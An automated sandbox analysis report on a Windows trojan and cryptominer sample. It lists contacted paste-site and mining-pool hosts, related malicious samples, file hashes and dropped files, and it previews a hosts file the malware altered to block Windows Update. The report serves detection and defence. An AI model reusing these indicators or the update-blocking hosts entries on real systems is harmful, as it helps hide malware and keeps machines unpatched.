http://ocsp.thawte.com0	updater.exe, 00000025.00000003.2206433756.0000017ADE760000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 0000001D.00000002.2244051114.00000217E6AC0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 0000001D.00000002.2244051114.00000217E6AC0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 0000001D.00000002.2244051114.00000217E6AC0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000001D.00000002.2244051114.00000217E6AC0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore68	powershell.exe, 0000001D.00000002.2211112447.00000217D6A51000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000001D.00000002.2211112447.00000217D6A51000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000001D.00000002.2211112447.00000217D6C7C000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.26.3.16	rentry.co	United States	13335	CLOUDFLARENETUS	true
83.168.108.45	justpaste.it	Poland	31304	ESPOL-ASPL	true
172.67.19.24	pastebin.com	United States	13335	CLOUDFLARENETUS	true
188.114.97.3	jaiodsnvzxkxcz5hvxzkighiwagfew9oi0d3219v687dyfsdg.su	European Union	13335	CLOUDFLARENETUS	true
141.94.96.144	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1530444
Start date and time:	2024-10-10 04:55:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	68
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	6
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	egFMhHSlmf.exe renamed because original name is a hash value
Original Sample Name:	1417d38c40d85d1c4eb7fad3444ca069.exe
Detection:	MAL
Classification:	mal100.troj.adwa.spyw.evad.mine.winEXE@97/17@5/5
EGA Information:	Successful, ratio: 86.7%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 40.126.32.140, 20.190.160.22, 40.126.32.133, 20.190.160.17, 20.190.160.20, 20.190.160.14, 40.126.32.68, 40.126.32.76
Excluded domains from analysis (whitelisted): client.wns.windows.com, prdv4a.aadg.msidentity.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, login.live.com, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, d.4.1.9.1.6.7.1.0.0.0.0.0.0.0.0.1.0.0.9.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target egFMhHSlmf.exe, PID 1764 because it is empty
Execution Graph export aborted for target updater.exe, PID 5712 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:55:57	API Interceptor	1x Sleep call for process: egFMhHSlmf.exe modified
22:55:59	API Interceptor	59x Sleep call for process: powershell.exe modified
22:56:38	API Interceptor	454331x Sleep call for process: winlogon.exe modified
22:56:39	API Interceptor	361241x Sleep call for process: lsass.exe modified
22:56:40	API Interceptor	665x Sleep call for process: svchost.exe modified
22:56:41	API Interceptor	437583x Sleep call for process: dwm.exe modified
22:56:48	API Interceptor	315x Sleep call for process: dllhost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.3.16	SecuriteInfo.com.Win64.TrojanX-gen.20834.9882.exe	Get hash	malicious	Unknown	Browse
	4wx72yFLka.exe	Get hash	malicious	Python Stealer, CStealer, Chaos	Browse
	quotation.js	Get hash	malicious	Unknown	Browse
	Quote.js	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.9087.16441.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.11541.5330.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.MalwareX-gen.9087.16441.exe	Get hash	malicious	Unknown	Browse
	CV.vbs	Get hash	malicious	Xmrig	Browse
	system47.exe	Get hash	malicious	XWorm	Browse
	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse
83.168.108.45	updater.exe	Get hash	malicious	Xmrig	Browse
172.67.19.24	envifa.vbs	Get hash	malicious	Unknown	Browse	pastebin.com/raw/V9y5Q5vv
	sostener.vbs	Get hash	malicious	Remcos	Browse	pastebin.com/raw/V9y5Q5vv
	Invoice Payment N8977823.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Pending_Invoice_Bank_Details_XLSX.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Dadebehring PendingInvoiceBankDetails.JS.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	PendingInvoiceBankDetails.JS.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
188.114.97.3	octux.exe.exe	Get hash	malicious	Unknown	Browse	servicetelemetryserver.shop/api/index.php
	1728514626a90de45f2defd8a33b94cf7c156a8c78d461f4790dbeeed40e1c4ac3b9785dda970.dat-decoded.exe	Get hash	malicious	FormBook	Browse	www.jandjacres.net/gwdv/?arl=VZkvqQQ3p3ESUHu9QJxv1S9CpeLWgctjzmXLTk8+PgyOEzxKpyaH9RYCK7AmxPqHPjbm&Ph=_ZX8XrK
	BILL OF LADDING.exe	Get hash	malicious	FormBook	Browse	www.launchdreamidea.xyz/bd77/
	http://embittermentdc.com	Get hash	malicious	Unknown	Browse	embittermentdc.com/favicon.ico
	scan_374783.js	Get hash	malicious	AgentTesla	Browse	paste.ee/d/gvOd3
	IRYzGMMbSw.exe	Get hash	malicious	FormBook	Browse	www.bayarcepat19.click/yuvr/
	Arrival Notice.exe	Get hash	malicious	FormBook	Browse	www.cc101.pro/0r21/
	http://www.thegulfthermale.com.tr/antai/12/3dsec.php	Get hash	malicious	Unknown	Browse	www.thegulfthermale.com.tr/antai/12/3dsec.php
	QUOTATION_OCTQTRA071244PDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/eZFzMENr/download
	QUOTATION_OCTQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/MlZtCPkK/download

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
rentry.co	x2Yi9Hr77a.exe	Get hash	malicious	XWorm	Browse	172.67.75.40
	SecuriteInfo.com.Win64.TrojanX-gen.20834.9882.exe	Get hash	malicious	Unknown	Browse	172.67.75.40
	MPX283rT19.exe	Get hash	malicious	Python Stealer, CStealer	Browse	104.26.2.16
	f2q2w9rTqd.exe	Get hash	malicious	Python Stealer, CStealer	Browse	104.26.2.16
	file.exe	Get hash	malicious	XWorm	Browse	104.26.2.16
	yhDRFwEXdd.cmd	Get hash	malicious	Unknown	Browse	172.67.75.40
	4wx72yFLka.exe	Get hash	malicious	Python Stealer, CStealer, Chaos	Browse	104.26.3.16
	0U9NY2PzhK.exe	Get hash	malicious	Python Stealer, CStealer, Chaos	Browse	172.67.75.40
	qlk8old6p9.exe	Get hash	malicious	Python Stealer, CStealer, Chaos	Browse	172.67.75.40
	quotation.js	Get hash	malicious	Unknown	Browse	104.26.3.16
pastebin.com	Quotation request YN2024-10-07pdf.vbs	Get hash	malicious	Remcos	Browse	104.20.4.235
	eshkere.bat	Get hash	malicious	Xmrig	Browse	104.20.4.235
	frik.exe	Get hash	malicious	Xmrig	Browse	104.20.3.235
	Google Chrome.exe	Get hash	malicious	Xmrig	Browse	172.67.19.24
	SecuriteInfo.com.Win64.MalwareX-gen.31726.9623.exe	Get hash	malicious	Unknown	Browse	104.20.4.235
	SecuriteInfo.com.Win64.MalwareX-gen.19388.23445.exe	Get hash	malicious	Unknown	Browse	172.67.19.24
	SecuriteInfo.com.Win64.MalwareX-gen.19388.23445.exe	Get hash	malicious	Unknown	Browse	172.67.19.24
	SecuriteInfo.com.Win64.MalwareX-gen.19388.23445.exe	Get hash	malicious	Unknown	Browse	172.67.19.24
	Quotation request YN2024-10-07pdf.vbs	Get hash	malicious	Remcos	Browse	104.20.4.235
	Urgent Purchase Order (P.O.) No.477764107102024.vbs	Get hash	malicious	Remcos	Browse	172.67.19.24
justpaste.it	Payment Advice.pdf.js	Get hash	malicious	Remcos	Browse	178.159.12.230
	updater.exe	Get hash	malicious	Xmrig	Browse	83.168.108.45
	msdx - Linkvertise Downloader_WRu-MP1.exe	Get hash	malicious	Unknown	Browse	51.83.143.177
	skybl - Linkvertise Downloader_H-oDPb1.exe	Get hash	malicious	Unknown	Browse	51.83.143.177
	mdx - Linkvertise Downloader_Ou-Vm51.exe	Get hash	malicious	Unknown	Browse	51.83.143.177
	y99ZI1Kjg8.exe	Get hash	malicious	Unknown	Browse	51.83.143.177
	QP6s4u5SZ8.exe	Get hash	malicious	Unknown	Browse	51.83.143.177
pool-fr.supportxmr.com	xmr_linux_amd64 (2).elf	Get hash	malicious	Xmrig	Browse	141.94.96.195
	xmr_linux_amd64.elf	Get hash	malicious	Xmrig	Browse	141.94.96.195
	SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Get hash	malicious	Xmrig	Browse	141.94.96.144
	Q3pEXxmWAD.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195
	file.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar, Xmrig	Browse	141.94.96.71
	kWYLtJ0Cn1.exe	Get hash	malicious	LoaderBot, Xmrig	Browse	141.94.96.195
	updater.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	xjSglbp263.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	gwRQinPOHB.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195
	FieroHack.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	https://embassyatlantahub.com/res444.php?4-68747470733a2f2f632e7468696d65726e65742e636f6d2f623174462f-#m	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://www.cottesloecounselling.com.au/anna-amhrose.html	Get hash	malicious	Unknown	Browse	104.21.23.227
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	octux.exe.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	octux.exe.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://link.edgepilot.com/s/a60b2ad0/3dLZ9fawZkK45-vRV49QDQ?u=https://accounts.timesoftint.com/	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	https://qrco.de/bfSzSw	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://urlr.me/mqbyf	Get hash	malicious	Unknown	Browse	104.17.25.14
	1728514626a90de45f2defd8a33b94cf7c156a8c78d461f4790dbeeed40e1c4ac3b9785dda970.dat-decoded.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
ESPOL-ASPL	firmware.x86_64.elf	Get hash	malicious	Unknown	Browse	83.168.127.215
	WizDKOmtwf.elf	Get hash	malicious	Mirai	Browse	83.168.87.155
	updater.exe	Get hash	malicious	Xmrig	Browse	83.168.108.45
	SecuriteInfo.com.FileRepMalware.26928.28691.exe	Get hash	malicious	Unknown	Browse	83.168.106.22
	x86.elf	Get hash	malicious	Mirai	Browse	83.168.127.232
	hbqK0qfLnv.elf	Get hash	malicious	Mirai	Browse	83.168.127.254
	XBiCfJromk.elf	Get hash	malicious	Mirai	Browse	83.168.87.139
	5WJ15l9QBi.elf	Get hash	malicious	Mirai, Gafgyt	Browse	83.168.87.158
	sora.arm.elf	Get hash	malicious	Mirai	Browse	83.168.127.248
	mipsel-20230709-1219.elf	Get hash	malicious	Unknown	Browse	83.168.87.114
CLOUDFLARENETUS	https://embassyatlantahub.com/res444.php?4-68747470733a2f2f632e7468696d65726e65742e636f6d2f623174462f-#m	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://www.cottesloecounselling.com.au/anna-amhrose.html	Get hash	malicious	Unknown	Browse	104.21.23.227
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	octux.exe.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	octux.exe.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://link.edgepilot.com/s/a60b2ad0/3dLZ9fawZkK45-vRV49QDQ?u=https://accounts.timesoftint.com/	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	https://qrco.de/bfSzSw	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://urlr.me/mqbyf	Get hash	malicious	Unknown	Browse	104.17.25.14
	1728514626a90de45f2defd8a33b94cf7c156a8c78d461f4790dbeeed40e1c4ac3b9785dda970.dat-decoded.exe	Get hash	malicious	FormBook	Browse	188.114.97.3
CLOUDFLARENETUS	https://embassyatlantahub.com/res444.php?4-68747470733a2f2f632e7468696d65726e65742e636f6d2f623174462f-#m	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://www.cottesloecounselling.com.au/anna-amhrose.html	Get hash	malicious	Unknown	Browse	104.21.23.227
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	octux.exe.exe	Get hash	malicious	Unknown	Browse	188.114.97.3
	octux.exe.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://link.edgepilot.com/s/a60b2ad0/3dLZ9fawZkK45-vRV49QDQ?u=https://accounts.timesoftint.com/	Get hash	malicious	Unknown	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.206.204
	https://qrco.de/bfSzSw	Get hash	malicious	Unknown	Browse	188.114.97.3
	https://urlr.me/mqbyf	Get hash	malicious	Unknown	Browse	104.17.25.14
	1728514626a90de45f2defd8a33b94cf7c156a8c78d461f4790dbeeed40e1c4ac3b9785dda970.dat-decoded.exe	Get hash	malicious	FormBook	Browse	188.114.97.3

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Temp\xptjtnajcbas.sys	OTm8DpW32j.exe	Get hash	malicious	Xmrig	Browse
	zufmUwylvo.exe	Get hash	malicious	Flesh Stealer, Xmrig	Browse
	zufmUwylvo.exe	Get hash	malicious	Xmrig	Browse
	0NSjUT34gS.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	eshkere.bat	Get hash	malicious	Xmrig	Browse
	frik.exe	Get hash	malicious	Xmrig	Browse
	Google Chrome.exe	Get hash	malicious	Xmrig	Browse
	e7WMhx18XN.exe	Get hash	malicious	SilentXMRMiner, Xmrig	Browse
	GcqJPBLD2Q.exe	Get hash	malicious	BitCoin Miner, SilentXMRMiner, UACMe, Xmrig	Browse
	C5Lg2JSPlD.exe	Get hash	malicious	SilentXMRMiner, Xmrig	Browse

Created / dropped Files

C:\ProgramData\Google\Chrome\updater.exe

Download File

Process:	C:\Users\user\Desktop\egFMhHSlmf.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	5536856
Entropy (8bit):	6.563142554876773
Encrypted:	false
SSDEEP:	98304:z0uVyIJFN+YjxW2q0pOFklpKRDArh51NuIQIi7by2ud3RK:QucIJbx9TOFkMOL1NuIQIi7by2uRRK
MD5:	1417D38C40D85D1C4EB7FAD3444CA069
SHA1:	27D8E2CA9537C80D1C1148830F9A6499F1E3E797
SHA-256:	5F7C6CDEA3C4E825AF1D796CBD34B2D45B2B6FABED130E717A30A6D871993F5D
SHA-512:	A169F8C5925977A984BC00A2B379205ED527777865215E4FFDFEB30084D1ED08F7BB5222DB8898161F1E6151D4A75E8CCC366543CF041E47EFFC21DCF4C351AB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 74% Antivirus: Virustotal, Detection: 75%, Browse
Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d......f.........."......f....R.....@..........@..............................U...........`.....................................................<.....T.......T......dT.X.....U.x...............................(.......8...............x............................text....d.......f.................. ..`.rdata...^.......`...j..............@..@.data...h.R.......R.................@....pdata........T......XT.............@..@.00cfg........T......ZT.............@..@.tls..........T......\T.............@....rsrc.........T......^T.............@..@.reloc..x.....U......bT.............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bryyl1by.osu.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_es1dcfgj.lik.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ld2m0mz2.mmu.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_neubzoxx.u5e.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Windows\System32\drivers\etc\hosts

Download File

Process:	C:\Users\user\Desktop\egFMhHSlmf.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	3718
Entropy (8bit):	4.256209152129098
Encrypted:	false
SSDEEP:	96:vDZEurK9TOx17pjxFoZ6MBJxBXliCWPRi4qnn54:RrK910
MD5:	205365A533D1BD10A2AA09F064BCF995
SHA1:	E89D17C50A9536CD3ED22E7E69799D99681EBF3B
SHA-256:	A37B96845193EA17FD7D78F8E445A17A2A01755FFA9A9291F3085EF7483C5ABD
SHA-512:	26C12D3422D733BBEA352BF07EE12FBC30153CBE3266B67005C24AC730746B818652CCF5850179BF3115BBEFAAED3FDB8713D6771F3925C79FFD418D5BF87C5A
Malicious:	true
Preview:	# Copyright (c) 1993-2009 Microsoft Corp...#..# This is a sample HOSTS file used by Microsoft TCP/IP for Windows...#..# This file contains the mappings of IP addresses to host names. Each..# entry should be kept on an individual line. The IP address should..# be placed in the first column followed by the corresponding host name...# The IP address and the host name should be separated by at least one..# space...#..# Additionally, comments (such as these) may be inserted on individual..# lines or following the machine name denoted by a '#' symbol...#..# For example:..#..# 102.54.94.97 rhino.acme.com # source server..# 38.25.63.10 x.acme.com # x client host....# localhost name resolution is handled within DNS itself...#.127.0.0.1 localhost..#.::1 localhost....0.0.0.0 download.windowsupdate.com..0.0.0.0 .microsoft.com..0.0.0.0 .update.microsoft.com..0.0.0.0 .windowsupdate.com..0.0.0.0 *.windowsupda

C:\Windows\Temp\__PSScriptPolicyTest_1dcdm0g5.ytp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_g1rxsjod.is5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_lfyvjch0.gsz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_rqrefcga.kuf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_s1u0d5sj.rn0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_tho4ptvn.syz.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_tsz5ivtr.stc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
